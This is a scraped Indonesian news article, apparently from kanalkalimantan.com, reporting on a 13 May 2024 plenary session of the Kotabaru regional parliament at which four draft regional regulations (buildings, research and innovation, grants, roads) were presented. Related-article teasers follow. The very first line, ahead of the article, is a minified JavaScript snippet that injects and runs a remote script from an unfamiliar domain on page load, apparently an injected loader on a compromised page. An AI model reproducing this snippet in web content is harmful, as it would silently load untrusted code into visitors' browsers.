(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – DPRD Kotabaru kembali menggelar rapat paripurna yang kali ini agendanya adalah penyampaian 4 buah Rancangan Peraturan Daerah (Raperda) oleh Bupati Kotabaru, Senin (13/5/2024).
Pelaksanaan paripurna dipimpin langsung oleh Ketua DPRD Kotabaru, Syairi Mukhlis didampingi wakil ketua, H Mukhni AF serta para anggota DPRD Kotabaru, dan dari Pemerintah daerah di hadiri Staf Ahli Bidang Pemerintahan, H Zainal Abidin.
Dikatakan oleh H Zainal Abidin bahwa, adapun Raperda yang disampaikan tentang pembangunan gedung, ruang lingkup pengaturan dalam peraturan daerah meliputi fungsi klasifikasi bangunan gedung, standar teknis, proses penyelenggaraan.
Infrastruktur bangunan gedung dengan nuansa kearifan lokal, peran serta masyarakat, pembinaan dan pengawasan pendanaan dan sangksi adminstratif.
“Kedua, Raperda tentang riset dan inovasi daerah sebagai bagian dari upaya meningkatkan kinerja penyelenggaraan pemerintah daerah dibutuhkan riset dan inovasi daerah, tujuan dari adanya riset dan inovasi daerah percepatan terwujudnya kesejahteraan masyarakat adanya inovasi daerah diharapkan akan berdampak pada perbaikan kualitas pelayanan publik, pemberdayaan masyarakat, meningkatkan peran serta masyarakat dan meningkatkan daya saing daerah,” tutur dia.
Dia melanjutkan, yang ketiga adalah Raperda tentang hibah dan sumbangan dari pihak lain, untuk mencapai tujuan negara yang diatur dalam pembukaan UUD Republik Indonesia tahun 1945 dan yang keempat Raperda tentang penyelenggaraan jalan kabupaten dan jalan desa.
Jalan sebagai salah satu prasarana transportasi yang menyangkut hajat hidup orang banyak mempunyai fungsi sosial yang sangat penting dengan pengertian tersebut.
”Maka wewenang penyelenggaraan jalan wajib kita semua menjalankan tugas dan tanggung jawab kita dalam mengayomi dan mensejahterakan masyarakat Kabupaten Kotabaru,” pungkas dia. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.